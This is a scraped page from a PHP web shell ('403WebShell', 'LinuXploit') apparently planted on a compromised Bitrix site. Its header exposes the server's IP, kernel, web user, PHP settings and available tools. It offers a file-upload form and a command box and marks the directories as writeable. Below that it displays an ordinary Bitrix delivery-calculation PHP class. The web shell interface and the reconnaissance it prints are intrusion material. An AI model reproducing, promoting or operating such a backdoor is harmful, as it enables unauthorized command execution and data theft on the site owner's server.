%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.144.93.9
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/delivery/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/sale/lib/delivery/calculationresult.php
<?php
namespace Bitrix\Sale\Delivery;

use Bitrix\Sale;

/**
 * Class CalculationResult
 * @package Bitrix\Sale\Delivery
 * Used by delivery services as a calculations result structure
 */
class CalculationResult extends Sale\ResultSerializable
{
	const PERIOD_TYPE_MIN = "MIN";
	const PERIOD_TYPE_HOUR = "H";
	const PERIOD_TYPE_DAY = "D";
	const PERIOD_TYPE_MONTH = "M";

	/** @var string */
	protected $description = "";
	/** @var string */
	protected $periodDescription = "";
	/** @var int */
	protected $periodFrom = null;
	/** @var int  */
	protected $periodTo = null;
	/** @var string  */
	protected $periodType = self::PERIOD_TYPE_DAY;
	/** @var bool */
	protected $nextStep = false;
	/** @var int */
	protected $packsCount = 0;
	/** @var float */
	protected $extraServicesPrice = 0;
	/** @var float */
	protected $deliveryPrice = 0;
	/** @var string $tmpData */
	protected $tmpData = "";

	/**
	 * CalculationResult constructor.
	 */
	public function __construct() { parent::__construct(); }

	/**	@return float */
	public function getDeliveryPrice() { return $this->deliveryPrice; }

	/** @param float $price */
	public function setDeliveryPrice($price) { $this->deliveryPrice = $price; }

	/** @return float  */
	public function getExtraServicesPrice() { return $this->extraServicesPrice; }

	/** @param float $price */
	public function setExtraServicesPrice($price) { $this->extraServicesPrice = $price; }

	/**	@return float */
	public function getPrice() { return $this->deliveryPrice + $this->extraServicesPrice;	}

	/** @param string $description */
	public function setDescription($description) { $this->description = $description; }

	/** @return string */
	public function getDescription() { return $this->description; }

	/** @param string $description */
	public function setPeriodDescription($description) { $this->periodDescription = $description; }

	/** @return string */
	public function getPeriodDescription() { return $this->periodDescription; }

	/**
	 * If calculation needs several steps.
	 */
	public function setAsNextStep() { $this->nextStep = true; }

	/** @return string */
	public function isNextStep() { return $this->nextStep; }

	/**	@return int */
	public function getPacksCount() { return $this->packsCount; }

	/** @param int $count */
	public function setPacksCount($count) { $this->packsCount = $count; }

	/**	@return int */
	public function getTmpData() { return $this->tmpData; }

	/** @param string $data */
	public function setTmpData($data) { $this->tmpData = $data; }

	/** @return int */
	public function getPeriodFrom() { return $this->periodFrom; }

	/** @param int $periodFrom */
	public function setPeriodFrom($periodFrom) { $this->periodFrom = intval($periodFrom); }

	/** @return int */
	public function getPeriodTo() { return $this->periodTo; }

	/** @param int $periodTo */
	public function setPeriodTo($periodTo) { $this->periodTo = intval($periodTo); }

	/** @return int */
	public function getPeriodType() { return $this->periodType; }

	/** @param int $periodType */
	public function setPeriodType($periodType)
	{
		if(in_array($periodType, array(self::PERIOD_TYPE_DAY, self::PERIOD_TYPE_HOUR, self::PERIOD_TYPE_MIN, self::PERIOD_TYPE_MONTH)))
			$this->periodType = $periodType;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit